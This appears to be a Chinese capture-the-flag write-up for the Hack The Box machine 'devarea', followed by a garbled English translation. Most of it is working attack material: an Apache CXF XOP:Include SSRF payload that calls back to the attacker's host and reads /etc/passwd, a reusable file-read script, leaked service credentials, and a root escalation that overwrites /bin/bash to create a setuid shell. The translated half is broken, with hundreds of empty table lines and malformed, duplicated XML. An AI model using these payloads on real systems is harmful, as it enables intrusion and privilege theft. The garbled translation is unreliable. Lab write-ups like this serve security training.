htb devarea

枚举

# Nmap 7.98 scan initiated Sun Mar 29 07:08:54 2026 as: /usr/lib/nmap/nmap -sC -sV -T4 -oN nmap_result.txt -v 10.129.10.159
Nmap scan report for 10.129.10.159
Host is up (0.42s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 ftp      ftp          4096 Sep 22  2025 pub
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.16.55
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 83:13:6b:a1:9b:28:fd:bd:5d:2b:ee:03:be:9c:8d:82 (ECDSA)
|_  256 0a:86:fa:65:d1:20:b4:3a:57:13:d1:1a:c2:de:52:78 (ED25519)
80/tcp   open  http    Apache httpd 2.4.58
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://devarea.htb/
8080/tcp open  http    Jetty 9.4.27.v20200227
|_http-server-header: Jetty(9.4.27.v20200227)
|_http-title: Error 404 Not Found
8500/tcp open  http    Golang net/http server
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 07:09:25 GMT
|     Content-Length: 64
|     This is a proxy server. Does not respond to non-proxy requests.
|   GenericLines, Help, LPDString, RTSPRequest, SIPOptions, SSLSessionReq, Socks5:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 07:09:04 GMT
|     Content-Length: 64
|     This is a proxy server. Does not respond to non-proxy requests.
|   HTTPOptions:
|     HTTP/1.0 500 Internal Server Error
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Sun, 29 Mar 2026 07:09:05 GMT
|     Content-Length: 64
|_    This is a proxy server. Does not respond to non-proxy requests.
8888/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: BAA090FBC1418C8C4971002CC5459574
|_http-title: Hoverfly Dashboard

反编译Jar

匿名进入FTP,下载employee-service.jar 并反编译。在htb.devarea.ServerStarter中可以发现

public class ServerStarter {
    public static void main(String[] args) {
        JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
        factory.setServiceClass(EmployeeService.class);
        factory.setServiceBean(new EmployeeServiceImpl());
        factory.setAddress("http://0.0.0.0:8080/employeeservice");
        factory.create();
        System.out.println("Employee Service running at http://localhost:8080/employeeservice");
        System.out.println("WSDL available at http://localhost:8080/employeeservice?wsdl");
    }
}

访问http://localhost:8080/employeeservice?wsdl 得到XML

<?xml version='1.0' encoding='UTF-8'?><wsdl:definitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:tns="http://devarea.htb/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:ns1="http://schemas.xmlsoap.org/soap/http" name="EmployeeServiceService" targetNamespace="http://devarea.htb/">
  <wsdl:types>
<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns="http://devarea.htb/" elementFormDefault="unqualified" targetNamespace="http://devarea.htb/" version="1.0">

  <xs:element name="submitReport" type="tns:submitReport"/>

  <xs:element name="submitReportResponse" type="tns:submitReportResponse"/>

  <xs:complexType name="submitReport">
    <xs:sequence>
      <xs:element minOccurs="0" name="arg0" type="tns:report"/>
    </xs:sequence>
  </xs:complexType>

  <xs:complexType name="report">
    <xs:sequence>
      <xs:element name="confidential" type="xs:boolean"/>
      <xs:element minOccurs="0" name="content" type="xs:string"/>
      <xs:element minOccurs="0" name="department" type="xs:string"/>
      <xs:element minOccurs="0" name="employeeName" type="xs:string"/>
    </xs:sequence>
  </xs:complexType>

  <xs:complexType name="submitReportResponse">
    <xs:sequence>
      <xs:element minOccurs="0" name="return" type="xs:string"/>
    </xs:sequence>
  </xs:complexType>

</xs:schema>
  </wsdl:types>
  <wsdl:message name="submitReport">
    <wsdl:part element="tns:submitReport" name="parameters">
    </wsdl:part>
  </wsdl:message>
  <wsdl:message name="submitReportResponse">
    <wsdl:part element="tns:submitReportResponse" name="parameters">
    </wsdl:part>
  </wsdl:message>
  <wsdl:portType name="EmployeeService">
    <wsdl:operation name="submitReport">
      <wsdl:input message="tns:submitReport" name="submitReport">
    </wsdl:input>
      <wsdl:output message="tns:submitReportResponse" name="submitReportResponse">
    </wsdl:output>
    </wsdl:operation>
  </wsdl:portType>
  <wsdl:binding name="EmployeeServiceServiceSoapBinding" type="tns:EmployeeService">
    <soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
    <wsdl:operation name="submitReport">
      <soap:operation soapAction="" style="document"/>
      <wsdl:input name="submitReport">
        <soap:body use="literal"/>
      </wsdl:input>
      <wsdl:output name="submitReportResponse">
        <soap:body use="literal"/>
      </wsdl:output>
    </wsdl:operation>
  </wsdl:binding>
  <wsdl:service name="EmployeeServiceService">
    <wsdl:port binding="tns:EmployeeServiceServiceSoapBinding" name="EmployeeServicePort">
      <soap:address location="http://devarea.htb:8080/employeeservice"/>
    </wsdl:port>
  </wsdl:service>
</wsdl:definitions>

当提交SOAP Envelope时会交给CXF处理

并在employee-service/org/apache/cxf/version/version.properties发现Apache CXF 3.2.14

SSRF

搜索即可发现**CVE-2022-46364:在解析 MTOM 请求中 XOP:Include 的 href 属性时存在 SSRF 漏洞,允许攻击者对至少接受任何类型参数的一个参数的 webservice 执行 SSRF 风格的攻击。**

创建payload.txt

--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <confidential>true</confidential>
            <content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="http://10.10.16.55:8000/ssrf_test"/></content>
            <department>IT</department>
            <employeeName>TestUser</employeeName>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>
--boundary--
nc -lvnp 8000
curl -X POST http://devarea.htb:8080/employeeservice \
  -H "Content-Type: multipart/related; type=\"application/xop+xml\"; boundary=\"boundary\"; start=\"<root.message@cxf.apache.org>\"; start-info=\"text/xml\"" \
  -H "SOAPAction: \"\"" \
  --data-binary @payload.txt

image 176.png

通过此文件可以读取文件/etc/passwd

--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <confidential>true</confidential>
            <content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/passwd"/></content>
            <department>IT</department>
            <employeeName>TestUser</employeeName>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>
--boundary--

得到用户:dev_ryan

写一个脚本

#!/bin/bash

# 检查用户是否提供了一个参数(即想要读取的文件路径)
# $1 (全称:Positional Parameter 1,第一个位置参数) 代表你在命令行传入的第一个值
if [ -z "$1" ]; then
  echo "[-] 错误:缺少目标文件路径。"
  echo "[*] 用法: $0 <要读取的绝对路径>"
  echo "[*] 示例: $0 /etc/passwd"
  exit 1
fi

TARGET_FILE=$1
PAYLOAD_FILE="payload_temp.txt"

echo "[*] 正在尝试通过 SSRF/LFD 读取靶机文件: $TARGET_FILE"

# 使用 cat 命令和 EOF (全称:End Of File,文件结束符) 将多行文本写入临时文件
# 这里的变量 $TARGET_FILE 会被自动替换为你输入的路径
cat <<EOF > $PAYLOAD_FILE
--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <confidential>true</confidential>
            <content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file://$TARGET_FILE"/></content>
            <department>IT</department>
            <employeeName>TestUser</employeeName>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
</soapenv:Envelope>
--boundary--
EOF

# 发送 HTTP POST 请求,-s 参数用于静默模式隐藏进度条
curl -s -X POST http://devarea.htb:8080/employeeservice \
  -H "Content-Type: multipart/related; type=\"application/xop+xml\"; boundary=\"boundary\"; start=\"<root.message@cxf.apache.org>\"; start-info=\"text/xml\"" \
  -H "SOAPAction: \"\"" \
  --data-binary @$PAYLOAD_FILE

echo -e "\n\n[*] 请求完成。"

# 阅后即焚,清理临时生成的 payload 文件
rm $PAYLOAD_FILE

hoverfly 运行着,尝试读取/etc/systemd/system/hoverfly.service

运行脚本./read.sh /etc/systemd/system/hoverfly.service 得到-username admin -password O7IJ27MyyXiU

USER

使用凭据可以进入到http://devarea.htb:8888/dashboard,搜索可以得到[CVE-2025-54123](https://github.com/advisories/GHSA-r4h8-hfp2-ggmf)

发送payload即可获取到dev_ryan的shell

image 177.png

ROOT

在~目录下可以发现一个我们可以使用sudo命令运行syswatch.sh的备份

#!/bin/bash
set -euo pipefail

CONFIG_FILE="/opt/syswatch/config/syswatch.conf"
SYSWATCH_USER="syswatch"
PLUGIN_DIR="/opt/syswatch/plugins"
LOG_DIR="/opt/syswatch/logs"
SAFE_PLUGIN_REGEX='^[a-zA-Z0-9_.\-$]+$'
SAFE_LOG_REGEX='^[A-Za-z0-9_.-]+$'
VERSION="1.0.0"
source "$CONFIG_FILE"
RUN_AS_ROOT_PLUGINS=("log_monitor.sh")
LIST_EXCLUDE=("common.sh")

log_message() {
    local msg="$1"
    echo "$(date '+%F %T') - $msg" >> "$LOG_DIR/system.log"
    logger -t syswatch "$msg"
}

start_web() {
    # Reload systemd in case service was just added
    systemctl daemon-reload

    # Check if the service is already active
    if systemctl is-active --quiet syswatch-web.service; then
        echo "[*] SysWatch Web GUI is already running."
        return
    fi

    echo "[*] Starting SysWatch Web GUI service..."
    systemctl enable syswatch-web.service >/dev/null 2>&1
    systemctl start syswatch-web.service

    # Give a small delay for startup
    sleep 2

    if systemctl is-active --quiet syswatch-web.service; then
        echo "[+] SysWatch Web GUI started successfully!"
    else
        echo "[-] Failed to start SysWatch Web GUI."
    fi
}

# Function: stop web GUI
stop_web() {
    if ! systemctl is-active --quiet syswatch-web.service; then
        echo "[*] SysWatch Web GUI is not running."
        return
    fi

    echo "[*] Stopping SysWatch Web GUI service..."
    systemctl stop syswatch-web.service
    echo "[+] SysWatch Web GUI stopped."
}

# Function: restart/reload web GUI
reload_web() {
    if ! systemctl is-active --quiet syswatch-web.service; then
        echo "[*] SysWatch Web GUI is not running. Starting it..."
        start_web
        return
    fi

    echo "[*] Reloading SysWatch Web GUI service..."
    systemctl restart syswatch-web.service
    echo "[+] SysWatch Web GUI reloaded successfully!"
}

# Function: show status
status_web() {
    systemctl status syswatch-web.service --no-pager  --lines=0
}

execute_plugin() {
    local plugin="$1"; shift
    if [[ ! $plugin =~ $SAFE_PLUGIN_REGEX ]]; then
        echo "Invalid plugin name" >&2
        return 1
    fi
    local fullpath="$PLUGIN_DIR/$plugin"
    [ ! -f "$fullpath" ] && echo "Plugin not found: $plugin" >&2 && return 1
    log_message "Executing plugin: $plugin $*"
    local run_root=0
    for p in "${RUN_AS_ROOT_PLUGINS[@]}"; do
        if [ "$plugin" = "$p" ]; then
            run_root=1
            break
        fi
    done
    if [ "$run_root" -eq 1 ]; then
        bash "$fullpath" "$@"
    else
        runuser -u "$SYSWATCH_USER" -- bash "$fullpath" "$@"
    fi
}

list_plugins() {
    local files
    files=$(ls -1 "$PLUGIN_DIR" 2>/dev/null | grep -E '^.+\.sh$' || true)
    [ -z "${files:-}" ] && return
    while IFS= read -r f; do
        [ -z "$f" ] && continue
        local skip=0
        for ex in "${LIST_EXCLUDE[@]}"; do
            if [ "$f" = "$ex" ]; then
                skip=1
                break
            fi
        done
        [ "$skip" -eq 1 ] && continue
        echo " - $f"
    done <<< "$files"
}

view_logs() {
    local arg="${1:-}"

    # ---- LIST MODE ----
    if [ "$arg" = "--list" ] || [ "$arg" = "list" ]; then
        local found=0
        for p in "$LOG_DIR"/*.log; do
            [ -e "$p" ] || continue
            [ -L "$p" ] && continue       # skip symlinks in list
            [ -f "$p" ] || continue
            echo " - $(basename "$p")"
            found=1
        done
        [ "$found" -eq 0 ] && echo "[No logs found]"
        return
    fi

    # FILE NAME VALIDATION
    local file="${arg:-system.log}"
    if [[ ! "$file" =~ $SAFE_LOG_REGEX ]]; then
        echo "[Invalid log filename]: $file"
        return 1
    fi

    local path="$LOG_DIR/$file"
    if [ -L "$path" ]; then
        local target
        target=$(ls -l "$path" | awk '{print $NF}')

        if [[ "$target" == *"/"* || "$target" == *".."* || "$target" == *"\\"* ]]; then
            echo "[Blocked unsafe symlink target]: $file -> $target"
            return 1
        fi

        if [[ "$target" =~ ^[A-Za-z0-9_.-]+$ ]]; then
            local resolved="$LOG_DIR/$target"
            if [ -f "$resolved" ]; then
                cat "$resolved"
                return
            else
                echo "[Symlink target not found]: $file -> $target"
                return 1
            fi
        fi

        if [[ "$target" == /var/log/* ]]; then
            [ -f "$target" ] && cat "$target" && return
            echo "[Symlink target not regular file]: $file -> $target"
            return 1
        fi

        echo "[Refusing unsafe symlink]: $file -> $target"
        return 1
    fi

    if [[ "$file" == */* || "$file" == *".."* ]]; then
        echo "[Blocked unsafe filename]: $file"
        return 1
    fi

    if [ -f "$path" ]; then
        cat "$path"
    else
        echo "[Log file not found]: $file"
    fi
}

usage() {
    echo "SysWatch $VERSION"
    echo "Usage: $0 <command> [args]"
    echo "Commands:"
    echo "  web                 Start web GUI"
    echo "  web-stop            Stop web GUI"
    echo "  web-restart         Restart web GUI"
    echo "  web-status          Show web GUI status"
    echo "  plugin <name> [args] Execute plugin"
    echo "  plugins             List available plugins"
    echo "  logs <file>         View log file"
    echo "  logs --list         List available log files"
    echo "  --version           Show version"
    echo "  --help|-h|help      Show this help"
}

main() {
    case "${1:-}" in
        web) start_web ;;
        web-stop) stop_web ;;
        web-restart|web-reload) reload_web ;;
        web-status) status_web ;;
        plugin) shift; execute_plugin "$@" ;;
        plugins) list_plugins ;;
        logs) shift; view_logs "$@" ;;
        --version) echo "$VERSION" ;;
        help|--help|-h) usage ;;
        *)
            usage
            ;;
    esac
}

if [ "$(id -u)" -eq 0 ]; then
    main "$@"
else
    if [[ "${1:-}" == "logs" ]]; then
        main "$@"
    else
        echo "Access denied. Root required for this action." >&2
        exit 1
    fi
fi

分析脚本可以得到一个漏洞:

# syswatch.sh 里是:
bash "$fullpath" "$@"

# 不是:
/usr/bin/bash "$fullpath" "$@"

不写绝对路径,系统就会按 $PATH 顺序查找 bash,第一个找到的就是 /bin/bash(即 /usr/bin/bash)。

ls -la /bin/bash
ls -la /usr/bin/bash
# -rwxrwxrwx 1 root root 1446024 Mar 31  2024 /bin/bash
# -rwxrwxrwx 1 root root 1446024 Mar 31  2024 /usr/bin/bash
# 直接覆盖 bash 为恶意脚本
cp /bin/bash /tmp/bash.bak  # 先备份

cat > /tmp/evil.sh << 'EOF'
#!/bin/sh
cp /bin/sh /tmp/rootsh
chmod +s /tmp/rootsh
EOF

#切换到sh,防止bash掉线
sh
killall -9 bash

# 覆盖 bash
chmod +x /tmp/evil.sh
cp /tmp/evil.sh /bin/bash

# 触发(syswatch.sh 调用 bash,以 root 执行)
sudo /opt/syswatch/syswatch.sh plugin cpu_mem_monitor.sh

# 检查结果
ls -la /tmp/rootsh
/tmp/rootsh -p

htb devarea

Enumeration


<TRANSLATED>
# Nmap 7.98 scan initiated on Sunday, March 29, 2026, at 07:08:54, with the following command:  
`/usr/lib/nmap/nmap -sC -sV -T4 -oN nmap_result.txt -v 10.129.10.159`  
**Nmap scan report for 10.129.10.159:**  
The host is online (latency: 0.42 seconds).  
**994 closed TCP ports were not displayed (they were reset).**  

**Port          Status       Service         Version**  
21/tcp     open        ftp             vsftpd 3.0.5  
|         |               |             |           |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|         |               |             |           |         |  
|        

# Reverse Compiling the Jar File

Anonymous access to the FTP server is required to download the `employee-service.jar` file and then reverse compile it. This can be observed in the `htb.devarea.ServerStarter` class:

```java
public class ServerStarter {
    public static void main(String[] args) {
        JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
        factory.setServiceClass(EmployeeService.class);
        factory.setServiceBean(new EmployeeServiceImpl());
        factory.setAddress("http://0.0.0.0:8080/employeeservice");
        factory.create();
        System.out.println("Employee Service is running at http://localhost:8080/employeeservice");
        System.out.println("WSDL is available at http://localhost:8080/employeeservice?wsdl");
    }
}

By accessing http://localhost:8080/employeeservice?wsdl, the following XML response is obtained:

<?xml version='1.0' encoding='UTF-8'?>
<wsdl:definitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:tns="http://devarea.htb/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:ns1="http://schemas.xmlsoap.org/soap/http" name="EmployeeServiceService" targetNamespace="http://devarea.htb/">
  <wsdl:types>
    <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns="http://devarea.htb/" elementFormDefault="unqualified" targetNamespace="http://devarea.htb/" version="1.0">
      <xs:element name="submitReport" type="tns:submitReport"/>
      <xs:element name="submitReportResponse" type="tns:submitReportResponse"/>
      <xs:complexType name="submitReport">
        <xs:sequence>
          <xs:element minOccurs="0" name="arg0" type="tns:report"/>
        </xs:sequence>
      </xs:complexType>
      <xs:complexType name="report">
        <xs:sequence>
          <xs:element name="confidential" type="xs:boolean"/>
          <xs:element minOccurs="0" name="content" type="xs:string"/>
          <xs:element minOccurs="0" name="department" type="xs:string"/>
          <xs:element minOccurs="0" name="employeeName" type="xs:string"/>
        </xs:sequence>
      </xs:complexType>
    </wsdl:complexType>
</wsdl:definitions>

<xs:complexType name=“submitReportResponse”> xs:sequence <xs:element minOccurs=“0” name=“return” type=“xs:string”/> </xs:sequence> </xs:complexType>

</xs:schema> <wsdl:message name=“submitReport”> <wsdl:part element=“tns:submitReport” name=“parameters”> </wsdl:part> <wsdl:message name=“submitReportResponse”> <wsdl:part element=“tns:submitReportResponse” name=“parameters”> </wsdl:part> <wsdl:message name=“submitReport”> <wsdl:part element=“tns:submitReport” name=“parameters”> </wsdl:part> <wsdl:portType name=“EmployeeService”> <wsdl:operation name=“submitReport”> <wsdl:input message=“tns:submitReport” name=“submitReport”> </wsdl:input> <wsdl:output message=“tns:submitReportResponse” name=“submitReportResponse”> </wsdl:output> </wsdl:operation> </wsdl:portType> <wsdl:binding name=“EmployeeServiceServiceSoapBinding” type=“tns:EmployeeService”> <soap:binding style=“document” transport=“http://schemas.xmlsoap.org/soap/http”/> <wsdl:operation name=“submitReport”> <soap:operation soapAction="" style=“document”/> <wsdl:input name=“submitReport”> <soap:body use=“literal”/> </wsdl:input> <wsdl:output name=“submitReportResponse”> <soap:body use=“literal”/> </wsdl:output> </wsdl:operation> </wsdl:binding> <wsdl:service name=“EmployeeServiceService”> <wsdl:port binding=“tns:EmployeeServiceServiceSoapBinding” name=“EmployeeServicePort”> <soap:address location=“http://devarea.htb:8080/employeeservice”/> </wsdl:service> </wsdl:definitions> When a SOAP Envelope is submitted, it is processed by CXF. Apache CXF version 3.2.14 can be found in the file employee-service/org/apache/cxf/version/version.properties.

SSRF (Search for CVE-2022-46364): A SSRF vulnerability exists when parsing the href attribute in an XOP:Include element within an MTOM request, allowing an attacker to perform an SSRF-style attack on a Webservice that accepts parameters of any type.

Create the payload.txt file:

--boundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
Content-ID: <root.message@cxf.apache.org>

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dev="http://devarea.htb/">
   <soapenv:Header/>
   <soapenv:Body>
      <dev:submitReport>
         <arg0>
            <confidential>true</confidential>
            <content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="http://10.10.16.55:8000/ssrf_test"/></content>
            <department>IT</department>
            <employeeName>TestUser</employeeName>
         </arg0>
      </dev:submitReport>
   </soapenv:Body>
